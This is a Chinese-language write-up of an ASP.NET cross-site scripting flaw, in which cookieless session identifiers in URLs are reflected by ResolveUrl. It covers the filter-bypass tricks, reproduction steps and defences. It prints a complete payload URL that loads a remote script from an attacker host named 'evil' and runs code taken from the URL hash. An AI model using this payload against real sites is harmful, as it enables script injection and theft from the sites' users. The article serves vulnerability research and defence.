ASP.NET XSS漏洞分析与利用指南
漏洞概述
本文详细分析了一个存在于ASP.NET框架中的XSS漏洞,该漏洞源于.NET框架对Cookieless Session和ResolveUrl方法的特殊处理方式。攻击者可以利用此漏洞在目标网站上执行任意JavaScript代码。
技术背景
ResolveUrl方法
ASP.NET的ResolveUrl方法用于解析相对于应用程序根目录的路径:
<script src="<%= ResolveUrl("~/Script.js") %>"></script>
该方法会将~解析为应用程序根目录,例如:
- 正常访问:
http://localhost/A/B/C/default.aspx→<script src="/Script.js"></script> - 子目录访问:路径会自动调整,保持资源可访问
Cookieless Session历史
在早期ASP.NET版本(1.0和1.1)中,Session State使用URL存储会话ID(称为"Cookieless"特性)。现代浏览器虽然使用Cookie存储会话,但ASP.NET仍保留了对Cookieless Session的支持。
Cookieless标识符格式:
(S(?))- Session ID(A(?))- Anonymous ID(F(?))- Form Authentication Ticket
漏洞原理
关键发现:即使禁用Cookieless功能(Cookieless="UseCookies"),ASP.NET仍会处理URL中的Cookieless标识符,并将其包含在ResolveUrl的结果中。
攻击示例:
访问http://localhost/(A(ABCD))/A/B/C/default.aspx会导致:
<script src="/(A(ABCD))/Script.js"></script>
攻击者可以控制A(ABCD)部分,插入恶意代码:
http://localhost/A/B/C/(A(%22onerror=%22alert`1`%22))/default.aspx
字符限制与绕过技术
被过滤的字符
以下字符会导致400或404错误:
%(0x25)&(0x26))(0x29)*(0x2a)+(0x2b)/(0x2f):(0x3a)<(0x3c)>(0x3e)?(0x3f)\(0x5c)
JavaScript绕过技术
-
使用模板字符串:用反引号代替引号
var text = `Hello` -
字符串拼接:使用模板字符串插值
console.log(`${'a'}${'b'}${'c'}`) // 输出: abc -
函数调用:不使用括号
alert`1` -
字符编码:使用
String.fromCharCode绕过斜杠限制String.fromCharCode`47` // 等于 '/' -
动态执行:利用
new Function和location.hashnew Function`X${document.location.hash.substr`1`}X`
完整攻击Payload
js = document.createElement`script`;
js.src=`${String.fromCharCode`47`}${String.fromCharCode`47`}evil${String.fromCharCode`47`}XSS.JS`;
headEl=document.getElementsByTagName`head`[0];
new Function`X${document.location.hash.substr`1`}X`;
对应的URL格式:
http://localhost/A/B/C/(A("onerror="js=document.createElement`script`;js.src=`${String.fromCharCode`47`}${String.fromCharCode`47`}evil${String.fromCharCode`47`}XSS.JS`;headEl=document.getElementsByTagName`head`[0];new%20Function`X${document.location.hash.substr`1`}X`"))/default.aspx#headEl.appendChild(js)
受影响元素
除了script标签外,以下元素也可能受影响:
<link href="<%= ResolveUrl("~/file.css") %>" rel="stylesheet">
" />
<a href="<%= ResolveUrl("~/file.aspx") %>">click</a>
环境复现步骤
-
环境搭建:
- Windows 10系统
- 安装Visual Studio 2019 Community版
- 创建ASP.NET Web应用程序(.NET Framework)项目
- 选择.NET Framework 4.x版本
-
测试代码:
<%@ Page Language="C#" %>
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title></title>
<script src="<%= ResolveUrl("~/Script.js") %>"></script>
</head>
<body>
.NET version: <%=Environment.Version%>
</body>
</html>
- 测试URL:
- 基础测试:
https://localhost:port/(A(ABCD))/xss.aspx - 简单弹窗:
https://localhost:port/(A("onerror="alert1"))/xss.aspx - 完整攻击:使用上述完整payload
- 基础测试:
防御措施
- 禁用Cookieless Session功能(在web.config中设置
cookieless="UseCookies") - 对
ResolveUrl的输出进行编码 - 使用Content Security Policy (CSP)限制脚本来源
- 输入验证和输出编码
总结
该漏洞利用了ASP.NET框架的两个历史特性:
ResolveUrl方法对~的特殊处理- 对Cookieless Session标识符的向后兼容支持
通过精心构造的URL,攻击者可以完全控制资源路径,进而实现XSS攻击。虽然需要特定条件(使用ResolveUrl方法),但在实际应用中相当常见,危害性较高。